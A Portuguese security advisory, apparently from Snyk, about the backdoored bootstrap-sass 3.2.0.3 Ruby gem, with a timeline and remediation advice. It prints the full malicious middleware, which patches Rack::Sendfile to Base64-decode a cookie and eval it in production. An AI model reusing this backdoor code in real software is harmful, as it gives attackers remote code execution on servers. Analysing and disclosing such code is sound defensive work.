Backdoor malicioso de execução remota de código descoberto no popular gem Ruby bootstrap-sass

Em 26 de março de 2019, uma versão maliciosa do popular pacote bootstrap-sass, que já havia sido baixado 28 milhões de vezes, foi publicada no repositório oficial RubyGems. A versão 3.2.0.3 inclui um backdoor furtivo que permite a invasores executar comandos remotamente em aplicações Rails no lado do servidor.

Já adicionamos a vulnerabilidade ao nosso banco de dados. Se o Snyk monitora seu projeto, você já recebeu nossos alertas de rotina caso sua aplicação contenha o pacote malicioso. Se não recebeu, faça um teste grátis para descobrir se sua aplicação foi afetada pela versão maliciosa, verificando seu repositório de código com o Snyk.

Se você descobrir que sua aplicação Rails usa o projeto vulnerável, tome medidas imediatamente e substitua a versão vulnerável, 3.2.0.3, pela versão republicada 3.2.0.4 como medida inicial, sem precisar fazer uma atualização para uma versão principal.

No mesmo dia, Derek Barnes abriu uma issue no GitHub do repositório twbs/bootstrap-sass, relatando um problema relacionado à versão maliciosa e apontando um trecho de código suspeito incluído na versão 3.2.0.3 do bootstrap-sass.

O backdoor foi habilmente ocultado na versão 3.2.0.3, publicada apenas no RubyGems. Não havia código-fonte da versão maliciosa no repositório do GitHub, e ela permitia que invasores remotos executassem código dinamicamente em servidores que hospedavam as versões vulneráveis.

O pacote bootstrap-sass é muito popular, e o backdoor malicioso pode afetar um grande número de usuários. O repositório do pacote no GitHub tem mais de 12.000 estrelas e acumula mais de 27 milhões de downloads. A versão atual, 3.4.1, tem mais de 217.000 downloads.

Uma análise rápida identificou cerca de 1.670 repositórios do GitHub que podem ter sido expostos à biblioteca maliciosa por uso direto. Esse número aumentará significativamente quando contabilizarmos seu uso em aplicações como dependência transitiva.

Resumo da cronologia do ataque

• A versão 3.2.0.2 foi removida do registro do RubyGems. Isso significa que o tarball ainda pode ser acessado diretamente pelo repositório RubyGems, mas não fica visível para o gerenciador de pacotes. Pelo que conseguimos apurar, essa versão não é maliciosa e foi removida pelos agentes maliciosos para induzir os usuários a atualizar para a versão 3.2.0.3, publicada em seguida.

• Em 26 de março, agentes maliciosos publicaram a versão 3.2.0.3. A versão inclui um backdoor oculto em um novo arquivo, lib/active-controller/middleware.rb. O backdoor acessa outro módulo Ruby e o modifica para que determinados cookies enviados pelo cliente sejam decodificados em Base64 e, em seguida, executados em tempo de execução, permitindo efetivamente a execução remota de código.

• A versão maliciosa 3.2.0.3 corresponde ao checksum SHA256 366d6162fe36fc81dadc114558b43c6c8890c8bcc7e90e2949ae6344d0785dc0.

• Acreditamos que o invasor obteve as credenciais para publicar o pacote malicioso no RubyGems de um dos dois mantenedores, mas isso ainda não foi confirmado oficialmente.

• Em 26 de março, às 22h59 GMT, Derek Barnes abriu uma issue no repositório público para alertar os mantenedores e a comunidade em geral sobre sua suspeita em relação ao código encontrado na versão 3.2.0.3.

• Em 26 de março, às 23h56 GMT, apenas uma hora depois, a versão maliciosa foi removida do repositório RubyGems, e os mantenedores confirmaram que atualizaram suas credenciais.

• Como as versões 3.2.0.2 e 3.2.0.3 foram removidas, os usuários precisaram atualizar para outras versões disponíveis, como a 3.4.1, conforme recomendado pelos mantenedores do projeto.

• Hoje, 3 de abril de 2019, às 16h10 GMT, os mantenedores do projeto lançaram uma nova versão, 3.2.0.4, idêntica à versão 3.2.0.2 retirada, para que os usuários possam atualizar facilmente para uma versão segura sem precisar migrar para uma versão principal.

Atualização de 4 de abril de 2019, às 16h46: a versão vulnerável 3.2.0.2 foi removida por engano e permaneceu no registro do RubyGems por meio de espelhos por mais alguns dias. Agora foi reportado que ela está totalmente indisponível.

Entenda a vulnerabilidade

Para entender melhor o backdoor malicioso, precisamos compreender como o pacote bootstrap-sass se encaixa nas práticas de desenvolvimento de uma aplicação web em Ruby.

bootstrap-sass é um projeto oficial derivado do projeto original Twitter Bootstrap e oferece uma versão do Bootstrap 3 compatível com SASS. O SASS é uma ferramenta que capacita profissionais de frontend e oferece um nível mais alto de abstração para escrever arquivos CSS, com recursos como mixins, variáveis, instruções condicionais e outros.

As ferramentas SASS estão mais ligadas aos recursos de frontend e normalmente são usadas durante a etapa de compilação do frontend, que gera recursos estáticos servidos por servidores web estáticos. No entanto, em aplicações com Ruby on Rails, que servem código de backend e frontend, o projeto bootstrap-sass oferece bindings Ruby usados pelo framework.

Quando uma aplicação Rails precisa usar a biblioteca bootstrap-sass, ela declara essa dependência e atualiza as importações CSS correspondentes para incluir o bootstrap-sass na compilação dos arquivos CSS em tempo de execução.

Ao importar bootstrap-sass, o seguinte código malicioso de middleware, localizado em lib/active-controller/middleware.rb, também é importado:

1begin
2 require 'rack/sendfile'
3 if Rails.env.production?
4   Rack::Sendfile.tap do |r|
5     r.send :alias_method, :c, :call
6     r.send(:define_method, :call) do |e|
7       begin
8         x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
9         eval(x) if x
10       rescue Exception
11       end
12       c(e)
13     end
14   end
15 end
16rescue Exception
17 nil
18end

Em resumo, o backdoor:

• import rack/sendfile

• se a aplicação Rails estiver sendo executada em um ambiente de produção, modifica o método call

• A alteração do método call faz com que ele leia um cookie HTTP chamado ___cfduid, enviado pelo cliente, decodifique-o de Base64 e, em seguida, execute o código dinâmico em tempo de execução. Depois de executar o código dinâmico, chama o método call original.

O que devo fazer?

Se o Snyk monitora seu projeto, você já recebeu os alertas de rotina do Snyk caso sua aplicação contenha esse pacote malicioso.

Se você não está monitorando seus projetos com o Snyk, pode fazer um teste único no seu projeto de código aberto clicando aqui para testar seus repositórios ou usar nossa CLI para testar seus projetos localmente.

Fui afetado. O que devo fazer agora?

Se você descobriu que sua aplicação Rails usa o projeto vulnerável, tome medidas imediatamente para substituir a versão vulnerável atual, 3.2.0.3, pela versão republicada 3.2.0.4 como medida inicial, sem precisar fazer uma atualização para uma versão principal.

Recomendamos que você conecte seus repositórios ao Snyk para monitorar atividades maliciosas no futuro e identificar outras vulnerabilidades que possam existir na sua aplicação.